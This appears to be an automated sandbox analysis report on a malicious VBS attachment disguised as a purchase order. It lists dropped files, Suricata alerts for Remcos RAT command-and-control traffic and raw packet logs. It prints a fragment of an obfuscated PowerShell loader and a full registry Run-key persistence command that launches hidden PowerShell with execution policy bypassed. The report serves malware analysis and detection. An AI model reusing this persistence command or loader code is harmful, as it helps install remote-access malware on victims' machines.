                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF703d94.TMP (copy)

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):6224
                                                      Entropy (8bit):3.724365531945434
                                                      Encrypted:false
                                                      SSDEEP:96:Ubi3CoTgkvhkvCCte9YlXnSHMMYlXn0HM6:UbAAeYloYlY
                                                      MD5:4B3ABC9A87B13CD5C15DF73BA0559909
                                                      SHA1:0D6EB4DFF987CE8CE06538457738690329268329
                                                      SHA-256:72985F38D128915E3313C1460290FBF0B6E8C1C447535CC871686F47DBAE707B
                                                      SHA-512:CDB9FC7427650A91255DCE286F40F59E1519C581465B6E2648EE41256A041462041D7C76BB4C4779A9CC0BFDEA3FC410CF4F3CB9DD0F2E81284F1F9C8B53610C
                                                      Malicious:false
                                                      Preview:...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...c8."w....k.2w.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2GY<)...........................^.A.p.p.D.a.t.a...B.V.1.....GYD)..Roaming.@......EW<2GYD)..../......................f .R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2GY7)....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2GY7)....2.....................UZ..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2GY7)....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2GY7)....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF705d32.TMP (copy)

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):6224
                                                      Entropy (8bit):3.724365531945434
                                                      Encrypted:false
                                                      SSDEEP:96:Ubi3CoTgkvhkvCCte9YlXnSHMMYlXn0HM6:UbAAeYloYlY
                                                      MD5:4B3ABC9A87B13CD5C15DF73BA0559909
                                                      SHA1:0D6EB4DFF987CE8CE06538457738690329268329
                                                      SHA-256:72985F38D128915E3313C1460290FBF0B6E8C1C447535CC871686F47DBAE707B
                                                      SHA-512:CDB9FC7427650A91255DCE286F40F59E1519C581465B6E2648EE41256A041462041D7C76BB4C4779A9CC0BFDEA3FC410CF4F3CB9DD0F2E81284F1F9C8B53610C
                                                      Malicious:false
                                                      Preview:...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...c8."w....k.2w.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2GY<)...........................^.A.p.p.D.a.t.a...B.V.1.....GYD)..Roaming.@......EW<2GYD)..../......................f .R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2GY7)....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2GY7)....2.....................UZ..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2GY7)....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2GY7)....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NIW1Y35F4WBPZ7DXT8GN.temp

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):6224
                                                      Entropy (8bit):3.724365531945434
                                                      Encrypted:false
                                                      SSDEEP:96:Ubi3CoTgkvhkvCCte9YlXnSHMMYlXn0HM6:UbAAeYloYlY
                                                      MD5:4B3ABC9A87B13CD5C15DF73BA0559909
                                                      SHA1:0D6EB4DFF987CE8CE06538457738690329268329
                                                      SHA-256:72985F38D128915E3313C1460290FBF0B6E8C1C447535CC871686F47DBAE707B
                                                      SHA-512:CDB9FC7427650A91255DCE286F40F59E1519C581465B6E2648EE41256A041462041D7C76BB4C4779A9CC0BFDEA3FC410CF4F3CB9DD0F2E81284F1F9C8B53610C
                                                      Malicious:false
                                                      Preview:...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...c8."w....k.2w.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2GY<)...........................^.A.p.p.D.a.t.a...B.V.1.....GYD)..Roaming.@......EW<2GYD)..../......................f .R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2GY7)....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2GY7)....2.....................UZ..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2GY7)....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2GY7)....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OWD8ZYLHR3SQW3ZUXJGU.temp

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):6224
                                                      Entropy (8bit):3.721865713720319
                                                      Encrypted:false
                                                      SSDEEP:96:jbi3Co3GkvhkvCCte9YlXn0HMMYlXn0HM6:jbACeYlOYlY
                                                      MD5:5FA7DF364699F36C066527DD4E8DF505
                                                      SHA1:660E45EFCE5DAE5046F800A8E3C23B53844BE85B
                                                      SHA-256:3746AD41E36BD7E7ADA605FD502496A6E09F9D0FAF1D011E4E23134DB623EC67
                                                      SHA-512:69EFA8831A339A33C2960ADD5168AFDD29949587BACF2EFD26FE984B54BF27AA19B8C743A7F7F2C762D7F850E503FAADDF79E7DEEE9500C97AB9D7ABD3F73DAC
                                                      Malicious:false
                                                      Preview:...................................FL..................F.".. ...J.S...Zp.5w...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...c8."w...(.p:w.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2GY<)...........................^.A.p.p.D.a.t.a...B.V.1.....GYD)..Roaming.@......EW<2GYD)..../......................f .R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2GY7)....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2GY7)....2.....................UZ..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2GY7)....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2GY7)....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2GYI)....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2GYK)....u...........

                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z46UC19DXDR7NXVKOKIN.temp

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:data
                                                      Category:dropped
                                                      Size (bytes):6224
                                                      Entropy (8bit):3.7221448991070933
                                                      Encrypted:false
                                                      SSDEEP:96:Xbi3Co3GkvhkvCCte9YlXn0HMMYlXn0HM6:XbACeYlOYlY
                                                      MD5:B77C90B17BB25FE7B3826945E2F1E978
                                                      SHA1:278D750B9C0F8D0DC33646854251E77E386F5F77
                                                      SHA-256:FEF19976819471F9B1287F376D03F0D9F28D6611F9B28D439D004DE497B5D62A
                                                      SHA-512:4B8069DD2924A6FB25BA51B2DFBAAAEBB2E6B5ACFF5F436AA032E33F6E4EEE8937E50F558C0815ABDFF85CEE701D060120FC8264CC257C7F7F65EB44E90CA352
                                                      Malicious:false
                                                      Preview:...................................FL..................F.".. ...J.S...Zp.5w...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...c8."w......5w.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2GY<)...........................^.A.p.p.D.a.t.a...B.V.1.....GYD)..Roaming.@......EW<2GYD)..../......................f .R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2GY7)....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2GY7)....2.....................UZ..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2GY7)....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2GY7)....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2GYI)....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2GYK)....u...........

                                                      C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:Unicode text, UTF-16, little-endian text, with very long lines (32626)
                                                      Category:dropped
                                                      Size (bytes):1972246
                                                      Entropy (8bit):3.850463898797347
                                                      Encrypted:false
                                                      SSDEEP:12288:u/bDLzGUTBJpHXd2KP9Mw9On3vft7AJe922sSmZEVEhgpAWtc96jXbgCeppLOCHT:yVZgoXOf1s82LF
                                                      MD5:55E919661F9DE24B48B149E427A7BC4C
                                                      SHA1:1094551A4EBE9137DE836FF8AF6457AEA18B8B6E
                                                      SHA-256:1C0BEEEDDD3E4ED060AF90342743046948DFCD4573745F66B4B697C5B7CC0823
                                                      SHA-512:505113EAC6F00C7ECE2FEC7E520A276CD67BC31A97545FFDE4623D09A5D670F4F2A2DD660F06BF5BF5D87F8F9C0DDCB1CA2659AEF98531D571D2BAD70E6F9041
                                                      Malicious:true
                                                      Preview:..$.z.s.b.D.t. .=. .'.C.:.\.W.i.n.d.o.w.s.\.M.i.c.r.o.s.o.f.t...N.E.T.\.'. .+. .'.F.r.a.m.e.w.o.r.k.\.v.4...0...3.0.3.1.9.\.'. .+. .'.A.d.d.I.n.P.r.o.c.e.s.s.3.2...e.x.e.'.;.....$.X.o.h.s.K. .=. .".?.?.%.y.z.X.V.M.%.".....$.U.e.b.T.a. .=. .'..!:..!'.;...$.X.K.v.H.v. .=. .'.A.'.;.....$.W.Y.v.t.t. .=. .'.T.V.q.Q..!:..!.!:..!M..!:..!.!:..!.!:..!.!:..!E..!:..!.!:..!.!:..!.!:..!/./.8..!:..!.!:..!L.g..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!Q..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!g..!:..!.!:..!.!:..!.!:..!.!:..!4.f.u.g.4..!:..!t..!:..!n.N.I.b.g.B.T.M.0.h.V.G.h.p.c.y.B.w.c.m.9.n.c.m.F.t.I.G.N.h.b.m.5.v.d.C.B.i.Z.S.B.y.d.W.4.g.a.W.4.g.R.E.9.T.I.G.1.v.Z.G.U.u.D.Q.0.K.J..!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!.!:..!B.Q.R.Q..!:..!.!:..!

                                                      C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1

                                                      Download File
                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      File Type:ASCII text, with very long lines (396), with no line terminators
                                                      Category:dropped
                                                      Size (bytes):396
                                                      Entropy (8bit):5.157457536526612
                                                      Encrypted:false
                                                      SSDEEP:6:sDuwZH1j0IQHjo5wrcsny1R3KbQO0c+EkjAuN7aZ5/5wR55wR55wR55ItA745NHR:sVVj0OsngkbQpc++u+H2iiap7
                                                      MD5:5734E84185C2F708F0767B606CC8A5CE
                                                      SHA1:F8DFE83B2403F38DF2B336F4A73EC7FAE29F461A
                                                      SHA-256:3484C26302187E3CF4DDB4B894AA7C295571262317BB40553D33E18BDF23410F
                                                      SHA-512:616EAB079F87BF80DF2A3F22A12E02F88D83592A57874AB423D4020B4523819EEF12B6FBE0790A8F0E11B2E0EEF8364B23F84C8512D3E575546912CB5793CC9C
                                                      Malicious:false
                                                      Preview:New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "Update Drivers NVIDEO_ewz" -Value "cmd.exe /c start /min `"`" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command `". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' `";exit" -PropertyType "String" -force ; exit

                                                      Static File Info

                                                      General

                                                      File type:Unicode text, UTF-16, little-endian text, with CRLF, CR line terminators
                                                      Entropy (8bit):3.477061601739957
                                                      TrID:
                                                      • Text - UTF-16 (LE) encoded (2002/1) 64.44%
                                                      • MP3 audio (1001/1) 32.22%
                                                      • Lumena CEL bitmap (63/63) 2.03%
                                                      • Corel Photo Paint (41/41) 1.32%
                                                      File name:Urgent Purchase Order (P.O.) No.477764107102024.vbs
                                                      File size:556'730 bytes
                                                      MD5:50e853b9137996e5f5f8bd0d593381db
                                                      SHA1:3543224a2d2eb10dac5d84695b04c9a708003bf9
                                                      SHA256:1c511019abd39d416b101bf8a29895eadce4ad5371f31558437ccc1567e5d415
                                                      SHA512:75a3d44d27ae2047c50665c874f8ab56198de93b17829653853fe38593eb8bdc6d7d4316f051f00a29acd7f019e157b54630fec9826d94d2d887dc9f0d0e555c
                                                      SSDEEP:1536:fJJJJJJJJJJJJJJJJJLMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMv:F
                                                      TLSH:27C49E4B66EB4508B0B76F586E7650790B677E599DBCC29C01CCA81E0FE3A40C961BF3
                                                      File Content Preview:..........'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'. .q.L.E.V.N. .'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'.'. .........'. .P.r.i.n.t. .u.s.a.g.e. .b.a.S.T.o.....'.............'. .I.n.s.t.a.l.l. .P.r.o.v.i.d.e.r.s.................'. .U.n.i.n.s.t.a.l.l.

                                                      File Icon

                                                      Icon Hash:68d69b8f86ab9a86

                                                      Network Behavior

                                                      Suricata IDS Alerts

                                                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                      2024-10-07T07:10:07.873545+02002841075ETPRO MALWARE Terse Request to paste .ee - Possible Download1192.168.2.649725188.114.96.3443TCP
                                                      2024-10-07T07:10:13.388413+02002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.649763188.114.96.3443TCP
                                                      2024-10-07T07:10:13.388413+02002841075ETPRO MALWARE Terse Request to paste .ee - Possible Download1192.168.2.649763188.114.96.3443TCP
                                                      2024-10-07T07:10:15.145911+02002020423ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1185.120.16.93443192.168.2.649771TCP
                                                      2024-10-07T07:10:15.145911+02002020425ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1185.120.16.93443192.168.2.649771TCP
                                                      2024-10-07T07:10:17.406903+02002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.649790188.114.96.3443TCP
                                                      2024-10-07T07:10:17.406903+02002841075ETPRO MALWARE Terse Request to paste .ee - Possible Download1192.168.2.649790188.114.96.3443TCP
                                                      2024-10-07T07:10:20.359884+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652535192.169.69.263980TCP
                                                      2024-10-07T07:10:30.975625+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.652599172.111.244.1003981TCP
                                                      2024-10-07T07:10:32.106993+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652605192.169.69.263980TCP
                                                      2024-10-07T07:10:42.454231+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.652670172.111.244.1003981TCP
                                                      2024-10-07T07:10:43.588971+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652682192.169.69.263980TCP
                                                      2024-10-07T07:10:53.876283+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.652720172.111.244.1003981TCP
                                                      2024-10-07T07:10:55.011170+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652721192.169.69.263980TCP
                                                      2024-10-07T07:11:06.018099+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.652723172.111.244.1003981TCP
                                                      2024-10-07T07:11:07.151239+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652724192.169.69.263980TCP
                                                      2024-10-07T07:11:17.523275+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.652726172.111.244.1003981TCP
                                                      2024-10-07T07:11:18.635609+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652727192.169.69.263980TCP
                                                      2024-10-07T07:11:28.969992+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.652728172.111.244.1003981TCP
                                                      2024-10-07T07:11:30.221479+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652729192.169.69.263980TCP
                                                      2024-10-07T07:11:40.843313+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.652731172.111.244.1003981TCP
                                                      2024-10-07T07:11:41.979585+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652732192.169.69.263980TCP
                                                      2024-10-07T07:11:52.517471+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.652733172.111.244.1003981TCP
                                                      2024-10-07T07:11:53.650716+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652734192.169.69.263980TCP
                                                      2024-10-07T07:12:04.051725+02002036594ET JA3 Hash - Remcos 3.x/4.x TLS Connection1192.168.2.652735172.111.244.1003981TCP
                                                      2024-10-07T07:12:05.181806+02002032776ET MALWARE Remcos 3.x Unencrypted Checkin1192.168.2.652736192.169.69.263980TCP

                                                      Network Port Distribution

                                                      TCP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Oct 7, 2024 07:10:04.458633900 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:04.463635921 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:04.463968039 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:05.103120089 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:05.109451056 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:05.114320993 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:05.331486940 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:05.340665102 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:05.345637083 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:05.655292988 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:05.655942917 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:05.660830975 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:05.877283096 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:05.877546072 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:05.882338047 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:06.098730087 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:06.098887920 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:06.103682995 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:06.320388079 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:06.320588112 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:06.325582981 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:06.542382002 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:06.546269894 CEST4972360175192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:06.551291943 CEST6017549723191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:06.551487923 CEST4972360175192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:06.551610947 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:06.556384087 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:06.773494005 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:06.817219019 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:07.167748928 CEST2149712191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:07.167756081 CEST6017549723191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:07.167838097 CEST6017549723191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:07.167910099 CEST4972360175192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:07.174690008 CEST4972360175192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:07.179593086 CEST6017549723191.252.83.213192.168.2.6
                                                      Oct 7, 2024 07:10:07.200603008 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.200609922 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.200689077 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.207608938 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.207622051 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.207778931 CEST4971221192.168.2.6191.252.83.213
                                                      Oct 7, 2024 07:10:07.680126905 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.680272102 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.682533979 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.682548046 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.682957888 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.698525906 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.743408918 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.873684883 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.873840094 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.873891115 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.873903036 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.874037027 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.874089003 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.874097109 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.874222994 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.874279022 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.874288082 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.874397039 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.874447107 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.874454975 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.874558926 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.874609947 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.874618053 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.926527023 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.934257030 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.960196972 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.960249901 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.960262060 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.960566998 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.960613966 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.960622072 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.960747004 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.960789919 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.960797071 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.960926056 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.960969925 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.960978031 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.961353064 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.961400986 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.961407900 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.961738110 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.961785078 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.961792946 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.961941957 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.961987972 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.961994886 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.962109089 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.962155104 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.962162018 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.962713003 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.962759018 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.962766886 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.962879896 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:07.962930918 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:07.962939024 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:08.005057096 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:08.005064964 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:08.021255970 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:08.021321058 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:08.021328926 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:08.021425009 CEST44349725188.114.96.3192.168.2.6
                                                      Oct 7, 2024 07:10:08.021470070 CEST49725443192.168.2.6188.114.96.3
                                                      Oct 7, 2024 07:10:08.021478891 CEST44349725188.114.96.3192.168.2.6
